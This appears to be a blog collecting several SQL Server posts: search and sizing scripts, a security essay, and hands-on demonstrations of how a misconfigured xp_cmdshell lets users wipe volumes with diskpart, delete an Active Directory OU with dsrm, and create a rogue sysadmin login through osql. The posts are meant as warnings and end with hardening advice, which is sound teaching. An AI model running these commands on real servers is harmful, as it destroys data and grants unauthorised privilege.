Really, just visit this link: http://www.sqlteam.com/article/using-replace-in-an-update-statement

In my recent travels, I've had to do a bit of discovery work.  Specifically, if we move a DB from one server to another, what will break, and how?

SQL Profiler is great at telling me who's doing what with a particular DB.  With it, I can figure out which SQL clients need their connection strings modified.  Great news!  But here's an interesting twist.  In all the Profiles I captured, I noticed that some of the UPDATE and INSERT statements contained references to UNC paths.  Wouldn't you know it, the paths refer to the DB server that's being decommissioned.

So even if we successfully moved the DB and reconfigured its clients, the application would still break because it would query the DB and get a path that didn't exist anymore.  Well, that's nice to know.  But I wanted to know if there was anything else, anywhere, within the DB that made reference to that server.

I found a most excellent procedure here:  http://blogs.lessthandot.com/index.php/DataMgmt/DataDesign/the-ten-most-asked-sql-server-questions–1#2  The code trawls through and returns the table and column names that contain the string you're looking for.  It's enough to point you in the right direction.

If you don't feel like trawling through the entire post, here's the relevant TSQL  Call it by running a command like:

exec FindMyData_string 'google', 0

CREATE PROCEDURE FindMyData_String
    @DataToFind NVARCHAR(4000),
    @ExactMatch BIT = 0
AS
SET NOCOUNT ON
 
DECLARE @Temp TABLE(RowId INT IDENTITY(1,1), SchemaName sysname, TableName sysname, ColumnName SysName, DataType VARCHAR(100), DataFound BIT)
 
    INSERT  INTO @Temp(TableName,SchemaName, ColumnName, DataType)
    SELECT  C.Table_Name,C.TABLE_SCHEMA, C.Column_Name, C.Data_Type
    FROM    Information_Schema.Columns AS C
            INNER Join Information_Schema.Tables AS T
                ON C.Table_Name = T.Table_Name
        AND C.TABLE_SCHEMA = T.TABLE_SCHEMA
    WHERE   Table_Type = 'Base Table'
            And Data_Type In ('ntext','text','nvarchar','nchar','varchar','char')
 
 
DECLARE @i INT
DECLARE @MAX INT
DECLARE @TableName sysname
DECLARE @ColumnName sysname
DECLARE @SchemaName sysname
DECLARE @SQL NVARCHAR(4000)
DECLARE @PARAMETERS NVARCHAR(4000)
DECLARE @DataExists BIT
DECLARE @SQLTemplate NVARCHAR(4000)
 
SELECT  @SQLTemplate = CASE WHEN @ExactMatch = 1
                            THEN 'If Exists(Select *
                                          From   ReplaceTableName
                                          Where  Convert(nVarChar(4000), [ReplaceColumnName])
                                                       = ''' + @DataToFind + '''
                                          )
                                     Set @DataExists = 1
                                 Else
                                     Set @DataExists = 0'
                            ELSE 'If Exists(Select *
                                          From   ReplaceTableName
                                          Where  Convert(nVarChar(4000), [ReplaceColumnName])
                                                       Like ''%' + @DataToFind + '%''
                                          )
                                     Set @DataExists = 1
                                 Else
                                     Set @DataExists = 0'
                            END,
        @PARAMETERS = '@DataExists Bit OUTPUT',
        @i = 1
 
SELECT @i = 1, @MAX = MAX(RowId)
FROM   @Temp
 
WHILE @i <= @MAX
    BEGIN
        SELECT  @SQL = REPLACE(REPLACE(@SQLTemplate, 'ReplaceTableName', QUOTENAME(SchemaName) + '.' + QUOTENAME(TableName)), 'ReplaceColumnName', ColumnName)
        FROM    @Temp
        WHERE   RowId = @i
 
 
        PRINT @SQL
        EXEC SP_EXECUTESQL @SQL, @PARAMETERS, @DataExists = @DataExists OUTPUT
 
        IF @DataExists =1
            UPDATE @Temp SET DataFound = 1 WHERE RowId = @i
 
        SET @i = @i + 1
    END
 
SELECT  SchemaName,TableName, ColumnName
FROM    @Temp
WHERE   DataFound = 1
GO

Shamelessly lifted from http://www.sqlteam.com/article/finding-the-biggest-tables-in-a-database, with thanks.  😀

/**************************************************************************************
*
*  BigTables.sql
*  Bill Graziano (SQLTeam.com)
*  graz@sqlteam.com
*  v1.1
*
**************************************************************************************/

declare @id int  
declare @type character(2)  
declare @pages int  
declare @dbname sysname
declare @dbsize dec(15,0)
declare @bytesperpage dec(15,0)
declare @pagesperMB  dec(15,0)

create table #spt_space
(
objid  int null,
rows  int null,
reserved dec(15) null,
data  dec(15) null,
indexp  dec(15) null,
unused  dec(15) null
)

set nocount on

-- Create a cursor to loop through the user tables
declare c_tables cursor for
select id
from sysobjects
where xtype = 'U'

open c_tables

fetch next from c_tables
into @id

while @@fetch_status = 0
begin

 /* Code from sp_spaceused */
insert into #spt_space (objid, reserved)
  select objid = @id, sum(reserved)
   from sysindexes
    where indid in (0, 1, 255)
     and id = @id

 select @pages = sum(dpages)
   from sysindexes
    where indid < 2
     and id = @id
select @pages = @pages + isnull(sum(used), 0)
  from sysindexes
   where indid = 255
    and id = @id
update #spt_space
  set data = @pages
where objid = @id

 /* index: sum(used) where indid in (0, 1, 255) - data */
update #spt_space
  set indexp = (select sum(used)
    from sysindexes
    where indid in (0, 1, 255)
    and id = @id)
       - data
  where objid = @id

 /* unused: sum(reserved) - sum(used) where indid in (0, 1, 255) */
update #spt_space
  set unused = reserved
    - (select sum(used)
     from sysindexes
      where indid in (0, 1, 255)
      and id = @id)
  where objid = @id

 update #spt_space
  set rows = i.rows
   from sysindexes i
    where i.indid < 2
    and i.id = @id
    and objid = @id

 fetch next from c_tables
into @id
end

select top 25
Table_Name = (select left(name,25) from sysobjects where id = objid),
rows = convert(char(11), rows),
reserved_KB = ltrim(str(reserved * d.low / 1024.,15,0) + ' ' + 'KB'),
data_KB = ltrim(str(data * d.low / 1024.,15,0) + ' ' + 'KB'),
index_size_KB = ltrim(str(indexp * d.low / 1024.,15,0) + ' ' + 'KB'),
unused_KB = ltrim(str(unused * d.low / 1024.,15,0) + ' ' + 'KB')

from  #spt_space, master.dbo.spt_values d
where  d.number = 1
and  d.type = 'E'
order by reserved desc

drop table #spt_space
close c_tables
deallocate c_tables

My last few posts about SQL have been about how to exploit a SQL box within the confines of a company network.  I wrote about xp_cmdshell and how it can be combined with a poorly-configured SQL box to produce some very unpleasant results.  This week, someone at work (an apps developer, of course), wanted me to publish a SQL box to the internet.  My answer was an emphatic NO, given this particular app person's history for writing crap code.  This person wanted our network guys to poke a hole through the firewall, sending TCP 1433 to the SQL box.  Talk about a disaster waiting to happen.

Long-time followers of my blog know that I have a Masters degree in Networking and Systems Administration.  One of the subjects of that degree was supposedly about Linux, but actually turned out to be more about security.  At the time I was running an e-commerce site, so I had an interest in securing that site.  Learning about my own site, the server it ran on, the applications that ran on it etc was very enlightening.  I was able to see through the web server logs that my server was being hit 24/7 by automated attack scripts.

The scripts weren't really all that interesting; mostly they were remote file inclusion probes.  Some contained URLs to files on servers that had already been exploited.  I downloaded these files and most of them were pretty stock-standard footprinting scripts.  The sort of thing that details what OS the compromised system is running, what version of its components (eg SSH, which at the time had a pretty nasty vulnerability) etc.  One file contained a huge script that created an IRC bot network.  It was actually fascinating.

But that's not what this post is about.  All of this study and research got me onto SQL injection vulnerabilities.  At the time, there was a poorly-coded osCommerce module called something like Customer Testimonials.  It did not sanitise its inputs, so a properly-crafted URL could reveal information contained within osCommerce's tables…. including credit card details, if the site operator was silly enough to save them (BTW, this is a fundamental breach of PCI standards, which I'll not go into, but is worth learning about if you're interested in e-commerce).  I set up a test VM running osCommerce plus the vulnerable version of the testimonials plugin, and sure enough, I was able to exploit it to view data from osC's tables.

Remote File Inclusion attacks are pretty easy to defend against.  Tell the web server (or relevant module eg PHP) not to run content from URLs or remote file systems.  Defending against SQL Injection attacks can be more complicated.  At its worst, it means checking hundreds of lines of code for silly things like (pseudo-code): 

$query = content of web form or specially-crafted URL

execute $query

There are server-level defences to filter out SQL injection attacks, which I won't go into here, but the reality is that bad code will always be bad code.  And bad coders often don't know their code is bad until long after it's in the wild.  With that in mind, and bearing in mind some of the xp_cmdshell exploits I demonstrated in my previous posts, have a wander over to this page.  What I really like about some of the stuff demonstrated here is that one of the examples (example 8) leverages bad SQL security to inject a file, which in turn can be run to perform some malicious task.. or even better, run as part of an IRC botnet.  The possibilities really are endless.  Click some of the links at the bottom of that page to read some very interesting articles on SQL injection attacks.

Bad configuration within a corporate network is one thing.  Sure, it sucks, but it can usually be contained (perhaps by design of other systems such as firewalls, content filters etc).  An internet-facing server, once compromised, can be used to do some pretty bad stuff.  Anyone who thinks publishing a SQL box to the internet consists of only poking a firewall hole on port 1433 needs to rethink their approach to system security.  Actually, anyone who thinks whacking a firewall in front of an internet-facing server will magically protect it.. think again.

What I find really interesting about SQL injection attacks is that they are a multi-layered thing.  They rely on poorly-configured web servers, crappy code, badly-configured SQL boxes etc.  But what's really cool is that the SQL boxes themselves don't need to be presented to the internet.  The only requirement is that a the web server (or more generically, the application server) have connectivity to the SQL box.  Hiding those SQL boxes on a private subnet won't help.  Hiding them behind an internal firewall won't help.  Hiding them on protected VLANs won't help.  It won't matter.  Because once the web server manages to talk to the SQL box, once the web-server-generated query traverses the wire from web box to SQL box, the scope for damage is already present.

What I'm saying, folks, is that security is a multi-layered thing.  I don't claim to have all the answers.  I'm not a security expert.  But I am security-aware.  All good sysadmins ask questions about the code that's running on their boxes.  What does this code do?  Why does it do it that way?  Can it be done in a more secure fashion?  What does it really need access to?  Can the code be run isolated?  Do we have sufficient logging to keep track of breaches?  If this box is compromised, what else can it access?  If there is a breach, what is the scope of information disclosure?  There's so many questions to ask.  Don't be afraid to ask them.  If your apps people can't tell you this stuff off the top of their heads, stamp a great big red DENIED across the request.

I've been struggling to get my head around schemas in SQL 2008.  BOL has this incredibly useful piece of wisdom to impart:  "Database schemas act as namespaces or containers for objects, such as tables, views, procedures, and functions, that can be found in the sys.objects catalog view".  Erm.  OK.

That actually didn't help me much.  What do they do?  What are they for?  Why not just apply permissions directly?

Finally, I read this article.  I know Googling will provide lots of hits on "SQL 2008 schema", and all of them say much the same as this article, but for some reason, this article made it all click.  Schemas are roughly analagous to folders in a file system.  An individual file can only live within a single folder at any given time.  A folder can contain lots of files.  In order to apply permissions within the file system, one doesn't waste one's time by applying permissions against each and every file within a folder.  Permissions are applied at the folder level, and the files within the folder inherit those permissions.  That's kind of how SQL schemas work.  I think.

I'm still getting it all straight.  But I think this article does a good job of putting it together.  Unless I've got it all wrong.  In which case, it's a terrible article.

After my previous two posts about xp_cmdshell exploits, a friend asked this question:

"Same issue if the SQL service account is a domain admin (rather than Local system)?"

My immediate answer to this is, yes – the Domain Admins group is a member of the local Administrators group on every member machine by default.  So it stands to reason they have the keys to the city.  What is interesting about this scenario, however, is not just the risk associated with compromising the local machine.  It's the risk associated with being able to compromise every other member of the domain – including Domain Controllers.

If this doesn't give you a reason to check your SQL Server's service accounts, nothing will.  Consider this scenario, one which I consider to be a near-perfect storm of stupidity:

1. The SQL Server service account is configured to use an account that is a member of the Domain Admins group.
2. The SQL Proxy account is configured with an account that is a member of Domain Admins – perhaps the same account as the SQL Server service account
3. xp_cmdshell is enabled.

You'll recall that xp_cmdshell lets you run pretty much anything under the context of the SQL Server service account (if you are a sysadmin) or the context of the SQL Proxy account (if you're not in the sysadmin role).  As you saw in my last couple demos, this seems to be limited to commands that run non-interactively.  But that doesn't mean there's any less risk associated with it.

Let's first of all try this as someone who's a member of the Domain Admins group.

xp_cmdshell 'whoami.exe'

Let's see if we can use DSRM to trash an OU in Active Directory.

xp_cmdshell '\\dc1\c$\windows\system32\dsrm.exe -subtree -noprompt -c OU=Marketing,DC=sql,DC=local'

Those of you familiar with Windows Server 2008 R2 will no doubt be pleased that objects created in AD have this option selected by default:

If you're using an ealier revision of Windows for your DCs, or if you have not yet moved up to the appropriate Functional Level, this option won't be available to you.  Let's see what happens if you do not have this option enabled:

xp_cmdshell '\\dc1\c$\windows\system32\dsrm.exe -subtree -noprompt -c OU=Marketing,DC=sql,DC=local'

It should not really be a surprise that someone who is a Domain Admin, running TSQL commands on a box that is poorly-configured, can do this.  I wonder about a regular user?

Don't forget that for that to happen, we need to create a SQL login associated with that user, the user needs to be granted permission to run xp_cmdshell, and we need to configure the SQL Proxy account.  And because we're talking about a very silly administrator, the Proxy account is configured to use an account that is a member of Domain Admins.

use master
go
EXEC sp_xp_cmdshell_proxy_account 'SQL\administrator','password'

grant execute on xp_cmdshell to [sql\gpotest]

Now when the user runs the whoami command, they see this:

Yay!  A regular unprivileged account can now run commands under the context of the Domain's administrator!  Great news!

And just to prove it…

xp_cmdshell '\\dc1\c$\windows\system32\dsrm.exe -subtree -noprompt -c OU=Marketing,DC=sql,DC=local'

Oh, fuck.

So, your boss is in your ear about how all the people in the Marketing department have lost their user accounts – and all the things they want to access with those accounts.  Your boss wants to know who did this!  Let's look at the Domain Controller logs:

The event logs are clear.  It's not the unprivileged account that deleted the user accounts.  It was the Administrator account.  Sure, the logs will tell you.. with a bit of hunting.. that the Administrator account was logged onto the SQL box, but by then, it won't really matter.  The finger will still be pointing at the person who's supposed to be safeguaring the Administrator account.  And that's not Mr Unprivileged.  No.  It's a naive sysadmin who should've known better than to configure his SQL box to use elevated accounts.

This could've easily been prevented.  Even if the SQL Server service account was privileged (which it should not be, but for the purposes of this discussion….), using an unprivileged account for the SQL Proxy account would've prevented it:

xp_cmdshell 'whoami.exe'

xp_cmdshell '\\dc1\c$\windows\system32\dsrm.exe -subtree -noprompt -c OU=Marketing,DC=sql,DC=local'

The regular user account can't access \\dc1\c$\windows\system32.  A good thing, too.  But what if this person is really determined, and makes a copy of dsrm (and its supporting files) somewhere else?

xp_cmdshell '\\fileshare\openshare\dsrm.exe -subtree -noprompt -c OU=Marketing,DC=sql,DC=local'

In spite of the poorly-configured service account, this particular disaster was averted because the Proxy account is unprivileged.

Windows, SQL Server, and to an extent, the tools that come with them, prevent us from doing overtly stupid things – so long as we follow a few basic rules.  If we configure our servers loosely, against best practice, ignoring all conventional advice… then we really do deserve what we get.  In the words of the great Forrest Gump, stupid is as stupid does.

In my last post, I detailed some conditions under which a poorly-configured SQL server could allow unprivileged users to do bad, bad things.  Today I want to expand on that to show how an unprivileged user can create a new user account that is a member of the SQL sysadmins role.

To recap the conditions under which bad things can happen:

1. The SQL service account is set as Local System
2. The SQL proxy account is a privileged account, i.e. one that has Administrator rights over the local machine
3. xp_cmdshell is enabled under these conditions.

So that allows a regular unprivileged user to run xp_cmdshell, and in turn, to run commands under the context of the SQL proxy account, which has elevated rights over the operating system.

Let's say you have an end user who's more savvy than most.  The naive SQL administrator has created a SQL login for his windows account, and has enabled use of xp_cmdshell for that account.  The end user quickly checks the SQL proxy account:

xp_cmdshell 'whoami.exe'

And confirms what he always suspected about the developers at his workplace.

He tries to create a SQL login with membership in the sysadmin role:

USE [master]
GO
CREATE LOGIN [eviladmin] WITH PASSWORD=N'test', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF
GO
EXEC master..sp_addsrvrolemember @loginame = N'eviladmin', @rolename = N'sysadmin'
GO

Thankfully this doesn't work:

Msg 15247, Level 16, State 1, Line 1
User does not have permission to perform this action.
Msg 15247, Level 16, State 1, Procedure sp_addsrvrolemember, Line 29
User does not have permission to perform this action.

Not to be disheartened, this malicious end user does know he has rights to run xp_cmdshell.  And he knows that the commands will run under the context of the silly developer's account.  So let's try something else:

exec xp_cmdshell "echo USE [master] > c:\sqlcommands.txt"
exec xp_cmdshell "echo GO >> c:\sqlcommands.txt"
exec xp_cmdshell "echo CREATE LOGIN [badadmin] WITH PASSWORD=N'test', >> c:\sqlcommands.txt"
exec xp_cmdshell "echo DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF >> c:\sqlcommands.txt"
exec xp_cmdshell "echo GO >> c:\sqlcommands.txt"
exec xp_cmdshell "echo EXEC master..sp_addsrvrolemember @loginame = N'badadmin', @rolename = N'sysadmin' >> c:\sqlcommands.txt"
exec xp_cmdshell "echo GO  >> c:\sqlcommands.txt"

Two things.  I've had to encapsulate the commands in " characters so that SQL parses the commands properly.  Also, I've had to break one command (lines 3 and 4) into two lines because there's a string length limit.  But this can be easily overcome.

So we now have a text file which contains:

USE [master]
GO
CREATE LOGIN [badadmin] WITH PASSWORD=N'test',
DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF
GO
EXEC master..sp_addsrvrolemember @loginame = N'badadmin', @rolename = N'sysadmin'
GO  

Nice.

We can't just run this code directly at the command prompt.  But we can do something almost as good:

exec xp_cmdshell 'osql -E -i C:\sqlcommands.txt -o C:\results.txt'

This runs the osql command with a "trusted connection" (-E), which basically says use the windows account (of the SQL proxy account) for authentication/access, and -i which grabs the contents of sqlcommands.txt and parses and runs it.  And -o outputs the results to a file called results.txt.  This is important because we want to see the results of the operation, which in this case happen to be:

Login failed for user 'SQL\sillydeveloper'.

Hmm.  OK.  On my test box, this happens to be so.  Silly Developer doesn't have a SQL login.  But we know that in a more realistic environment, this is likely not true.  The Silly Developer more than likely has a SQL login.  And let's, for the sake of this discussion, assume they are also a member of the sysadmin role.  Don't scoff.  I've seen plenty of production environments that are configured exactly like that.  So let's create a SQL login for Silly Developer and make them a member of the sysadmin role.  Let's try again:

exec xp_cmdshell 'osql -E -i C:\sqlcommands.txt -o C:\results.txt'

This produces a file called results.txt, which contains:

1> 2> 1> 2> 3> 1> 2> 1>

That's a bit different.  Hey, let's see if the login was created.

It sure was.  And it's a member of sysadmin.  Oh dear.

It's now a trivial matter for this end user – who up until now had no special rights – to login using the new SQL login and to have fun making the naive DBA's life miserable.  DROP TABLE, anyone?  DROP DATABASE?  The possibilities are endless.

Let's try this again, this time using a properly-configured server, which you'll recall is:

1. Configured to use an unprivileged account for its service account
2. Using an unprivileged account for the SQL proxy account

xp_cmdshell 'whoami.exe'

Gives us:

Great.  Let's try creating that text file again:

exec xp_cmdshell "echo USE [master] > c:\sqlcommands.txt"
exec xp_cmdshell "echo GO >> c:\sqlcommands.txt"
exec xp_cmdshell "echo CREATE LOGIN [badadmin] WITH PASSWORD=N'test', >> c:\sqlcommands.txt"
exec xp_cmdshell "echo DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF >> c:\sqlcommands.txt"
exec xp_cmdshell "echo GO >> c:\sqlcommands.txt"
exec xp_cmdshell "echo EXEC master..sp_addsrvrolemember @loginame = N'badadmin', @rolename = N'sysadmin' >> c:\sqlcommands.txt"
exec xp_cmdshell "echo GO  >> c:\sqlcommands.txt"

Well, that's reassuring.  The account doesn't have rights to create a file on the root of C: on the SQL server.  But that's not to say it couldn't have rights over some other file system somewhere.  Let's say there's a file share somewhere that allows the Authenticated Users group to write to it.  Let's try this again:

exec xp_cmdshell "echo USE [master] > \\FILESERVER\openshare\sqlcommands.txt"
exec xp_cmdshell "echo GO >> \\FILESERVER\openshare\sqlcommands.txt"
exec xp_cmdshell "echo CREATE LOGIN [badadmin] WITH PASSWORD=N'test', >> \\FILESERVER\openshare\sqlcommands.txt"
exec xp_cmdshell "echo DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, >> \\FILESERVER\openshare\sqlcommands.txt"
exec xp_cmdshell "echo CHECK_POLICY=OFF >> \\FILESERVER\openshare\sqlcommands.txt"
exec xp_cmdshell "echo GO >> \\FILESERVER\openshare\sqlcommands.txt"
exec xp_cmdshell "echo EXEC master..sp_addsrvrolemember @loginame = N'badadmin', >> \\FILESERVER\openshare\sqlcommands.txt"
exec xp_cmdshell "echo @rolename = N'sysadmin' >> \\FILESERVER\openshare\sqlcommands.txt"
exec xp_cmdshell "echo GO  >> \\FILESERVER\openshare\sqlcommands.txt"

I've had to split the lines again due to the length limitation, but the result is a file in \\FILESERVER\OPENSHARE that contains:

USE [master]
GO
CREATE LOGIN [badadmin] WITH PASSWORD=N'test',
DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF,
CHECK_POLICY=OFF
GO
EXEC master..sp_addsrvrolemember @loginame = N'badadmin',
@rolename = N'sysadmin'
GO

OK, let's try running that command:

exec xp_cmdshell 'osql -E -i \\FILESERVER\openshare\sqlcommands.txt -o \\FILESERVER\openshare\results.txt'

The command runs successfully and creates a file \\FILESERVER\openshare\results.txt.  Thankfully this file's contents are:

Login failed for user 'SQL\svc-sql-proxy'.

What we should take away from this is that the proxy account really should not have a SQL login associated with it.  But let's pretend it does, and that it is not a member of any special SQL roles:

The results are:

1> 2> 1> 2> 3> 4> Msg 15247, Level 16, State 1, Server PROD-SQL08R2STD, Line 1
User does not have permission to perform this action.
1> 2> 3> Msg 15247, Level 16, State 1, Server PROD-SQL08R2STD, Procedure sp_addsrvrolemember, Line 29
User does not have permission to perform this action.
1>

I don't think I need to spend any time explaining why the SQL proxy account shouldn't a) have a SQL login associated with it; and b) If such an account exists, it should not be a member of any special SQL roles.

My syntax highlighter is a bit broken.  Until I fix it, the TSQL shown below will be full of crud.  Fix it before trying it on your system.  Or just wait until I fix up the highlighter.  Your choice, really.

Much has been written about why SQL’s xp_cmdshell is a bad thing.  It has its uses, of course, and sometimes we just have to enable it for our apps to work.

In my most recent post about SQL, you would’ve detected a certain.. disdain.. for applications developers.  It’s not their fault, though.  They’re just trying to write something that works.  In my workplace, there is a “just make it work” mentality, which can lead to some awful misconfigurations.  That’s why this post is dedicated to just how bad xp_cmdshell can be.

By default, xp_cmdshell is disabled, and with good reason.  If it’s not set up just so, it can be exploited.  The gist of it is this:  if you can run a command from a DOS shell, non-interactively, xp_cmdshell will run it, too.  So it stands to reason that you should lock xp_cmdshell down as much as possible.  But this is at odds with the “just make it work” mentality, and sometimes security is compromised as a result.

If you’ve set up your SQL server per best practice, your SQL Server service account is an unprivileged domain account.  That means it’s just a regular account, not a member of any special domain or local groups.  When you tell the SQL installer to use this account, it sets up file permissions, registry permissions and local policies so that your service account has all the things it needs to run SQL properly.  But by default, the SQL installer doesn’t prompt you for a domain account.  No.  Left to its own devices, it will let you choose from a drop-down:

<insert screenshot here that Crayon syntax highlighter doesn’t like 🙁 >

Interesting.  The local system account is here, as well as the option to browse.  Hey, Local System looks good.  So, for this demonstration, let’s assume the naive person installing SQL selects this account.  For those of you not in the know, the Local System account has the keys to the city over the local machine.  It has no rights on any other system.  But for this demo, that doesn’t matter.  Let’s then assume the “Use the same account for all SQL Server services” is clicked.

So we carry on installing, and voila, we have a running SQL instance.  Let’s say the apps developer asks for xp_cmdshell to be enabled.  That’s easy enough to do:

EXEC master.dbo.sp_configure 'show advanced options', 1
RECONFIGURE
go
EXEC master.dbo.sp_configure 'xp_cmdshell', 1
RECONFIGURE
go

And we get a successful result!

Configuration option ‘show advanced options’ changed from 0 to 1. Run the RECONFIGURE statement to install.
Configuration option ‘xp_cmdshell’ changed from 0 to 1. Run the RECONFIGURE statement to install.

Let’s try a command:

xp_cmdshell 'whoami.exe'

Hey, this is great!  It WORKS!!!!!!!!!!!!!!!!!!!!!!

Let’s try another one:

xp_cmdshell 'dir c:'

Yay!  More working xp_cmdshell goodness.

We can even use it to write to a text file:

exec xp_cmdshell 'echo hello > c:\file.txt'
exec xp_cmdshell 'echo appended data >> c:\file.txt'
exec xp_cmdshell 'echo more data >> c:\file.txt'

And the result is, funnily enough, a text file C:\FILE.TXT:

hello
appended data
more data

Let’s try something a little more interesting.

xp_cmdshell 'format c:'

We should all breathe a sigh of relief here.  The format command needs to be run interactively.  It wants you to answer yes or no.  For once, Microsoft’s efforts to save us from ourselves have been useful.

xp_cmdshell 'diskpart'

And thankfully, by default, diskpart also runs interactively:

Here’s where it can get interesting.  Diskpart runs interactively by default, but can also run in scripted mode.  Let’s jump to a DOS box for a minute to see how that works:

I’ve just deleted the contents of disk 1.  It didn’t take much effort, did it?  Let’s see if we can script that.

First, create a text file somewhere that contains this:

select disk 1
clean all

Now, let’s run diskpart scripted:

Hmm.

I wonder if we can do the same thing with xp_cmdshell?

First, let’s create the command file:

exec xp_cmdshell 'echo select disk 1 > c:\diskpartcommands.txt'
exec xp_cmdshell 'echo clean all >> c:\diskpartcommands.txt'

Then, let’s run diskpart scripted:

xp_cmdshell 'diskpart -s c:\diskpartcommands.txt'

If you don’t think a misconfigured xp_cmdshell is a bad thing, try this on a production system.  See how long you stay employed.

Some notes on the demo above.  I ran these commands using an account that was a member of the Administrators group on the local machine.  That’s why I didn’t have to do anything else special in order for xp_cmdshell to work.

Let’s say I have an unprivileged user that I want to be able to run xp_cmdshell commands.  I need to give them access to the command:

grant execute on xp_cmdshell to [sql\gpotest]

Let’s try this again, this time running it under the context of a standard user account:

xp_cmdshell 'whoami.exe'

Msg 15153, Level 16, State 1, Procedure xp_cmdshell, Line 1
The xp_cmdshell proxy account information cannot be retrieved or is invalid. Verify that the ‘##xp_cmdshell_proxy_account##’ credential exists and contains valid information.

SQL is thoughtful enough to protect us from ourselves.  But we want to JUST MAKE IT WORK!!!!!!!!!!!!!!

So, let’s do what every app developer I’ve ever met would do.  Let’s configure the proxy account using a privileged account – maybe even the app developer’s own account (which is, of course, a member of the Administrators group).  This can be done via the GUI or TSQL, but for this demo, I’ll show the TSQL:

use master
go
EXEC sp_xp_cmdshell_proxy_account 'SQL\sillydeveloper','password'

Now when we run the whoami command, we get this result:

Msg 229, Level 14, State 5, Procedure xp_cmdshell, Line 1
The EXECUTE permission was denied on the object ‘xp_cmdshell’, database ‘mssqlsystemresource’, schema ‘sys’.

OK, fine.  Let’s grant this unprivileged user the rights to use xp_cmdshell:

USE master
GRANT exec ON xp_cmdshell TO [SQL\gpotest]

Let’s run the whoami command again:

Yay!  It works!  Great, huh?

Now, let’s try that diskpart stuff again:

exec xp_cmdshell 'echo select disk 1 > c:\diskpartcommands.txt'
exec xp_cmdshell 'echo clean all >> c:\diskpartcommands.txt'

You’ll recall those commands created the diskpart script file.  Let’s then run the script file:

xp_cmdshell 'diskpart -s c:\diskpartcommands.txt'

Oh dear.

Those of you in the know might be thinking we could do “select disk 0” in our diskpart script and run it to trash the system volume.  Fortunately, diskpart protects us from ourselves:

If there’s a saving grace, it’s that the system volume can’t be trashed using this simple method.  But hey, we can still wreak havoc.  Let’s say we have a database called SuckedIn, whose files live in F: drive:

sp_helpfile

You know where I’m going with this, right?  If we don’t know the disk number, we can still use diskpart to identify the volume number, by changing the script to “list volume” to identify where F: drive lives:

Then we just change the diskpart script to:

select volume 2
clean all

And the result is data destruction:

Thankfully, we still can’t trash the system volume, but if someone trashed your database volumes, you’d be just as screwed.  Don’t let this happen to you!

In case you passed out from boredom while reading my post, here’s the important bits that led to this disaster:

1. The SQL service account is set as Local System
2. The SQL proxy account is a privileged account, i.e. one that has Administrator rights over the local machine
3. xp_cmdshell is enabled under these conditions.

That is all it takes to allow an otherwise regular, unprivileged user to HOSE YOUR SQL BOX!  All of this could have been prevented by using best practice, which in case you fell asleep again, is very simple:

1. Configure your SQL instance to use an unprivileged account for its service account
2. For the love of all that’s holy, use an unprivileged account for the SQL proxy account
3. Don’t enable xp_cmdshell unless you absolutely, positively have to.

To change the SQL Server service account, use the SQL Server Configuration Manager tool.  You’ll need to restart the SQL Server service, so schedule an outage window to do this.

Once you’ve done this, use this script to configure the SQL Proxy account.  Make sure this is an unprivileged account:

use master
go
EXEC sp_xp_cmdshell_proxy_account 'TEST\svc-sql-proxy','password'

This change takes effect straight away.  No outage required.

Now when you run the whoami account as an administrator, you’ll get this result:

If you run it as an unprivileged user, you’ll get this result:

Now try running the diskpart script as the unprivileged user.  It won’t work.  YAY for system security!

One of the things I find myself doing every day is teaching apps developers how to do stuff with these principles in mind:

1. Least privilege
2. Smallest attack surface

Unfortunately, most apps developers in my workplace:

1. Are administrators on both their workstations (I'm OK with this) and their development servers (not so OK with this), which means they:
2. Install heaps of shit they don't need, particularly on the dev server
3. Configure that shit to run under their own administrative user account (!!!!)
4. Forget they've installed that shit
5. After a period of time, don't remember if that shit is necessary for their code to run
6. Install all the server-side components of their client/server app onto one single dev server.  This blurs the lines.  Is it the web part of the app that performs task X, or is it the SQL part?  Who knows.  The apps developers don't.

So when the time comes to provision their production environment, I get requests like this:

1. Install Excel on the SQL box and the web server box, and actually any other box that our app uses, because we can't remember which box actually needs it
2. Enable xp_cmdshell on the SQL box.  We're not really sure why, but we need it.
3. And while you're at it, we need you to create scheduled tasks on all the boxes (because we can't remember what box does what), and that task needs admin rights because otherwise it doesn't work.  But we don't really know why it doesn't work.

I wish I was making this shit up.  But this is what I've spent the last week extracting from a particular group of people.  Of course, when I say NO to this sort of crap, it becomes my problem to come up with an alternative that uses least privilege, whilst installing the smallest possible amount of stuff to make it work.

I'll write a separate post about the xp_cmdshell thing, but for now I want to deal with the Excel thing.  I don't believe that any SQL server should have anything installed on it aside from SQL.  Excel is a user app, not a server app.  And I don't believe for a second that SQL "needs" it to import Excel data.

So.  Getting onto the heart of this post.  How do we get that Excel data into a SQL server database?

It would be nice if something like this would just work.  It doesn't:

SELECT * INTO XLImport3 FROM OPENDATASOURCE('Microsoft.Jet.OLEDB.4.0',
'Data Source=c:\downloads\ImportTest-XLS.xls;Extended Properties=Excel 8.0')...[Sheet1$]

This code was snaffled from a MS article, BTW, http://support.microsoft.com/kb/321686.  The article also makes reference to linked servers, but for my purposes I just want to run ad hoc queries on transient spreadsheets.

We get this error message:

Msg 7308, Level 16, State 1, Line 1
OLE DB provider 'Microsoft.Jet.OLEDB.4.0' cannot be used for distributed queries because the provider is configured to run in single-threaded apartment mode.
 

Hmm.  WTF does that mean?  Believe it or not, it's not because you need to do something about apartment mode, whatever the hell that is.  It's actually SQL's obscure way of complaining about the data source driver.  For 2007 and 2010 versions of Excel files, you need to install a provider that knows how to deal with these files.  By default, SQL 2008 R2 doesn't have one:

Get a hold of the Microsoft Access Database Engine 2010 Redistributable (don't worry about the "Access" in the title, just download it).  Make sure you get the 64-bit version if you're running SQL 2008 R2.

Install it.  If you get this message, it's because you have a 32-bit installation of Office or one of its components.  Naughty!  Uninstall it.

Uninstalling the Office components might require a reboot.  My experience with the Access driver is that you'll need to reboot your server again (or possibly just restart the SQL services – I haven't tried this in my test environment yet).  So if you're doing this on a production box, be sure to schedule an outage.

You'll see a new provider in the list:

Let's try running that TSQL code again:

SELECT * INTO XLImport3 FROM OPENDATASOURCE('Microsoft.Jet.OLEDB.4.0',
